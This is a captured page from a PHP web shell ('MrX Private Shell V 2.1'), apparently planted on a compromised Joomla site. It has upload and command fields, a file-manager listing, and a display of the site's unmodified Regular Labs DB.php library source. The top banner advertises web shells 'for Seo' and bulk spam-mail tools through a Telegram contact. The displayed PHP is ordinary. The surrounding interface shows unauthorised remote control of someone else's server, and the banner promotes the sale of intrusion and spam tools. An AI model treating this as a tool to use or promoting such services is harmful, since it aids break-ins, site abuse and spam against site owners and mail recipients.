__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package         Regular Labs Library
 * @version         23.12.10783
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Library;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Uri\Uri as JUri;
use Joomla\Database\DatabaseDriver as JDatabaseDriver;
use Joomla\Database\DatabaseQuery as JDatabaseQuery;
use Joomla\Database\QueryInterface as JQueryInterface;

class DB
{
    static $tables = [];

    public static function addArticleIsPublishedFilters(
        JQueryInterface &$query,
        string          $prefix = 'a'
    ): void
    {
        $filters = self::getArticleIsPublishedFilters($prefix);

        $query->where($filters);
    }

    public static function combine(array $conditions = [], string $glue = 'OR'): string
    {
        if (empty($conditions))
        {
            return '';
        }

        if ( ! is_array($conditions))
        {
            return (string) $conditions;
        }

        if (count($conditions) < 2)
        {
            return reset($conditions);
        }

        $glue = strtoupper($glue) == 'AND' ? 'AND' : 'OR';

        return '(' . implode(' ' . $glue . ' ', $conditions) . ')';
    }

    /**
     * Creat a query dump string
     */
    public static function dump(
        string|JQueryInterface $query,
        string                 $class_prefix = '',
        int                    $caller_offset = 0
    ): void
    {
        $string = "\n" . (string) $query;
        $string = str_replace('#__', JFactory::getDbo()->getPrefix(), $string);

        Protect::protectByRegex($string, ' IN \(.*?\)');
        Protect::protectByRegex($string, ' FIELD\(.*?\)');

        $string = preg_replace('#(\n[A-Z][A-Z ]+) #', "\n\\1\n       ", $string);
        $string = str_replace(' LIMIT ', "\n\nLIMIT ", $string);
        $string = str_replace(' ON ', "\n    ON ", $string);
        $string = str_replace(' OR ', "\n    OR ", $string);
        $string = str_replace(' AND ', "\n   AND ", $string);
        $string = str_replace('`,', "`,\n       ", $string);

        Protect::unprotect($string);

        echo "\n<pre>==============================================================================\n";
        echo self::getQueryComment($class_prefix, $caller_offset) . "\n";
        echo "-----------------------------------------------------------------------------------\n";
        echo trim($string);
        echo "\n===================================================================================</pre>\n";
    }

    public static function escape(string $text, bool $extra = false): string
    {
        return JFactory::getDbo()->escape($text, $extra);
    }

    public static function get(): JDatabaseDriver
    {
        return JFactory::getDbo();
    }

    public static function getArticleIsPublishedFilters(string $prefix = 'a'): string
    {
        $nowDate  = self::getNowDate();
        $nullDate = self::getNullDate();

        $wheres = [];

        $wheres[] = self::is($prefix . '.state', 1);

        $wheres[] = self::combine([
            self::is($prefix . '.publish_up', 'NULL'),
            self::is($prefix . '.publish_up', '<=' . $nowDate),
        ], 'OR');

        $wheres[] = self::combine([
            self::is($prefix . '.publish_down', 'NULL'),
            self::is($prefix . '.publish_down', $nullDate),
            self::is($prefix . '.publish_down', '>' . $nowDate),
        ], 'OR');

        return self::combine($wheres, 'AND');
    }

    public static function getIncludesExcludes(
        array|string $values,
        bool         $remove_exclude_operators = true
    ): array
    {
        $includes = [];
        $excludes = [];

        $values = ArrayHelper::toArray($values);

        if (empty($values))
        {
            return [$includes, $excludes];
        }

        foreach ($values as $value)
        {
            if ($value == '')
            {
                $value = '!*';
            }

            if ($value == '!')
            {
                $value = '+';
            }

            if (self::isExclude($value))
            {
                $excludes[] = $remove_exclude_operators
                    ? self::removeOperator($value)
                    : $value;
                continue;
            }

            $includes[] = $value;
        }

        return [$includes, $excludes];
    }

    public static function getNowDate(): string
    {
        return JFactory::getDate()->toSql();
    }

    public static function getNullDate(): string
    {
        return JFactory::getDbo()->getNullDate();
    }

    public static function getOperator(array|string $value, string $default = '='): string
    {
        if (empty($value))
        {
            return $default;
        }

        if (is_array($value))
        {
            $value = array_values($value);

            return self::getOperator(reset($value), $default);
        }

        $regex = '^' . RegEx::quote(self::getOperators(), 'operator');

        if ( ! RegEx::match($regex, $value, $parts))
        {
            return $default;
        }

        $operator = $parts['operator'];

        return match ($operator)
        {
            '!', '<>', '!NOT!' => '!=',
            '=='               => '=',
            default            => $operator,
        };
    }

    public static function getOperators(): array
    {
        return ['!NOT!', '!=', '!', '<>', '<=', '<', '>=', '>', '=', '=='];
    }

    public static function getQuery(): JDatabaseQuery
    {
        return JFactory::getDbo()->getQuery(true);
    }

    public static function getQueryComment(
        string $class_prefix = '',
        int    $caller_offset = 0
    ): string
    {
        $callers = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, $caller_offset + 5);

        for ($i = 1; $i <= ($caller_offset + 2); $i++)
        {
            array_shift($callers);
        }

        $callers = array_reverse($callers);

        $lines = [
            JUri::getInstance()->toString(),
        ];

        foreach ($callers as $caller)
        {
            $lines[] = '[' . str_pad($caller['line'] ?? '', 3, ' ', STR_PAD_LEFT) . '] '
                . str_replace(
                    '\\',
                    '.',
                    trim(substr($caller['class'] ?? '', strlen($class_prefix)), '\\')
                )
                . '.' . $caller['function'];
        }

        return implode("\n", $lines);
    }

    public static function getTableColumns(string $table, bool $typeOnly = true): array
    {
        $cache = new Cache;

        if ($cache->exists())
        {
            return $cache->get();
        }

        return $cache->set(JFactory::getDbo()->getTableColumns($table, $typeOnly));
    }

    public static function in(
        array|string $keys,
        array|string $values,
        array|object $options = []
    ): string
    {
        $options = (object) ArrayHelper::toArray($options);
        $glue    = $options->glue ?? 'OR';

        if (is_array($keys))
        {
            $wheres = [];

            foreach ($keys as $single_key)
            {
                $wheres[] = self::in($single_key, $values, $options);
            }

            return self::combine($wheres, $glue);
        }

        if (empty($values))
        {
            $values = [''];
        }

        $operator = self::getOperator($values);

        if ( ! is_array($values) || count($values) == 1)
        {
            $values = self::removeOperator($values);
            $value  = is_array($values) ? reset($values) : $values;
            $value  = self::prepareValue($value, $options);

            if ($value === 'NULL')
            {
                $operator = $operator == '!=' ? 'IS NOT' : 'IS';
            }

            return $keys . ' ' . $operator . ' ' . $value;
        }

        $values   = ArrayHelper::clean($values);
        $operator = $operator == '!=' ? 'NOT IN' : 'IN';

        if ($glue == 'OR')
        {
            $values = self::removeOperator($values);
            $values = self::prepareValue($values, $options);

            return $keys . ' ' . $operator . ' (' . implode(',', $values) . ')';
        }

        $wheres = [];

        foreach ($values as $value)
        {
            $wheres[] = self::in($keys, $value, $options);
        }

        return self::combine($wheres, $glue);
    }

    public static function is(
        array|string $keys,
        array|string $values,
        array|object $options = []
    ): string
    {
        $options = (object) ArrayHelper::toArray($options);

        $glue             = $options->glue ?? 'OR';
        $handle_wildcards = $options->handle_wildcards ?? true;

        if (is_array($keys) && $glue == 'OR')
        {
            $wheres = [];

            foreach ($keys as $single_key)
            {
                $wheres[] = self::is($single_key, $values, $options);
            }

            return self::combine($wheres, $glue);
        }

        if (is_array($keys) && $glue == 'AND')
        {
            $options->glue = 'OR';
            $wheres        = [];

            foreach ($values as $single_values)
            {
                $wheres[] = self::is($keys, $single_values, $options);
            }

            return self::combine($wheres, $glue);
        }

        $db_key = self::quoteName($keys);

        if ( ! is_array($values)
            && $handle_wildcards
            && str_contains($values, '*')
        )
        {
            return self::like($db_key, $values, $options);
        }

        if ( ! is_array($values))
        {
            return self::in($db_key, $values, $options);
        }

        $includes = [];
        $excludes = [];
        $wheres   = [];

        foreach ($values as $value)
        {
            if ($handle_wildcards && str_contains($value, '*'))
            {
                $wheres[] = self::is($keys, $value, $options);
                continue;
            }

            if (self::isExclude($value))
            {
                $excludes[] = $value;
                continue;
            }

            $includes[] = $value;
        }

        if ( ! empty($includes))
        {
            $wheres[] = self::in($db_key, $includes, $options);
        }

        if ( ! empty($excludes))
        {
            $wheres[] = self::in($db_key, $excludes, $options);
        }

        if (empty($wheres))
        {
            return '0';
        }

        if (count($wheres) == 1)
        {
            return reset($wheres);
        }

        return self::combine($wheres, $glue);
    }

    public static function isExclude(string $string): bool
    {
        return in_array(self::getOperator($string), ['!=', '<>'], true);
    }

    public static function isNot(
        array|string $key,
        array|string $value,
        array|object $options = []
    ): string
    {
        if (is_array($key))
        {
            $wheres = [];

            foreach ($key as $single_key)
            {
                $wheres[] = self::isNot($single_key, $value, $options);
            }

            return self::combine($wheres, 'AND');
        }

        $values = $value;

        if ( ! is_array($values))
        {
            $values = [$values];
        }

        foreach ($values as $i => $value)
        {
            $operator = self::isExclude($value) ? '=' : '!=';

            $values[$i] = $operator . self::removeOperator($value);
        }

        return self::is($key, $values, $options);
    }

    public static function like(
        string       $key,
        array|string $value,
        array|object $options = []
    ): string
    {
        $array = ArrayHelper::applyMethodToValues([$key, $value, $options], '', '', 1);

        if ( ! is_null($array))
        {
            return $array;
        }

        $options = (object) ArrayHelper::toArray($options);

        $key = 'LOWER(' . $key . ')';

        $operator = self::getOperator($value);
        $operator = $operator == '!=' ? 'NOT LIKE' : 'LIKE';

        $value = self::removeOperator($value);
        $value = self::prepareValue($value, $options);
        $value = str_replace(['*', '_'], ['%', '\\_'], $value);

        if ( ! str_contains($value, '%'))
        {
            $value = 'LOWER(' . $value . ')';
        }

        return $key . ' ' . $operator . ' ' . $value;
    }

    /**
     * Create an NOT IN statement
     * Reverts to a simple equals statement if array just has 1 value
     */
    public static function notIn(
        string|array $keys,
        string|array $values,
        array|object $options = []
    ): string
    {
        if (is_array($values) && count($values) > 0)
        {
            $values[0] = '!' . $values[0];
        }

        return self::in($keys, $values, $options);
    }

    public static function prepareValue(
        string|array|object $value,
        array|object        $options = []
    ): string|array
    {
        $array = ArrayHelper::applyMethodToValues([$value, $options]);

        if ( ! is_null($array))
        {
            return $array;
        }

        if ( ! is_array($value) && $value === 'NULL')
        {
            return $value;
        }

        $options = (object) ArrayHelper::toArray($options);

        $handle_now = $options->handle_now ?? true;

        $dates = ['now', 'now()', 'date()', 'jfactory::getdate()'];

        if ($handle_now && ! is_array($value) && in_array(strtolower($value), $dates, true))
        {
            return 'NOW()';
        }

        if (
            (empty($options->quote) || ! $options->quote)
            && (is_int($value) || ctype_digit($value))
        )
        {
            return $value;
        }

        $value = self::quote($value);

        return $value;
    }

    public static function quote(array|string $text, bool $escape = true): array|string
    {
        $array = ArrayHelper::applyMethodToValues([$text, $escape]);

        if ( ! is_null($array))
        {
            return $array;
        }

        if (is_null($text))
        {
            return 'NULL';
        }

        return JFactory::getDbo()->quote($text, $escape);
    }

    public static function quoteName(array|string $name, array|string|null $as = null): array|string
    {
        return JFactory::getDbo()->quoteName($name, $as);
    }

    public static function removeOperator($string)
    {
        $array = ArrayHelper::applyMethodToValues([$string]);

        if ( ! is_null($array))
        {
            return $array;
        }

        $regex = '^' . RegEx::quote(self::getOperators(), 'operator');

        return RegEx::replace($regex, '', $string);
    }

    public static function tableExists(string $table): bool
    {
        if (isset(self::$tables[$table]))
        {
            return self::$tables[$table];
        }

        $db = JFactory::getDbo();

        if (str_starts_with($table, '#__'))
        {
            $table = $db->getPrefix() . substr($table, 3);
        }

        if ( ! str_starts_with($table, $db->getPrefix()))
        {
            $table = $db->getPrefix() . $table;
        }

        $query = 'SHOW TABLES LIKE ' . $db->quote($table);
        $db->setQuery($query);
        $result = $db->loadResult();

        self::$tables[$table] = ! empty($result);

        return self::$tables[$table];
    }
}

Filemanager

Name Type Size Permission Actions
Form Folder 0775
ActionLogPlugin.php File 8.29 KB 0664
Alias.php File 3.22 KB 0664
ArrayHelper.php File 14.13 KB 0664
Article.php File 10.14 KB 0664
Cache.php File 4.69 KB 0664
Color.php File 1.85 KB 0664
DB.php File 15.25 KB 0664
Date.php File 5.25 KB 0664
Document.php File 13.21 KB 0664
DownloadKey.php File 3.92 KB 0664
EditorButtonPlugin.php File 5.9 KB 0664
EditorButtonPopup.php File 5.53 KB 0664
Extension.php File 14.81 KB 0664
FieldsPlugin.php File 1001 B 0664
File.php File 14.92 KB 0664
Html.php File 22.41 KB 0664
HtmlTag.php File 4.84 KB 0664
Http.php File 4.54 KB 0664
Image.php File 29.04 KB 0664
Input.php File 4.64 KB 0664
Language.php File 985 B 0664
License.php File 1.78 KB 0664
MobileDetect.php File 748 B 0664
ObjectHelper.php File 2.92 KB 0664
Parameters.php File 7.27 KB 0664
Php.php File 6.81 KB 0664
PluginTag.php File 16.31 KB 0664
Protect.php File 27.82 KB 0664
RegEx.php File 8.02 KB 0664
ShowOn.php File 1.44 KB 0664
SimpleCategory.php File 1.7 KB 0664
StringHelper.php File 22.9 KB 0664
StringReplacer.php File 13.66 KB 0664
SystemPlugin.php File 15.4 KB 0664
Title.php File 2.8 KB 0664
Uri.php File 6.06 KB 0664
Variables.php File 11.55 KB 0664
Version.php File 8.32 KB 0664
Xml.php File 1.53 KB 0664
Filemanager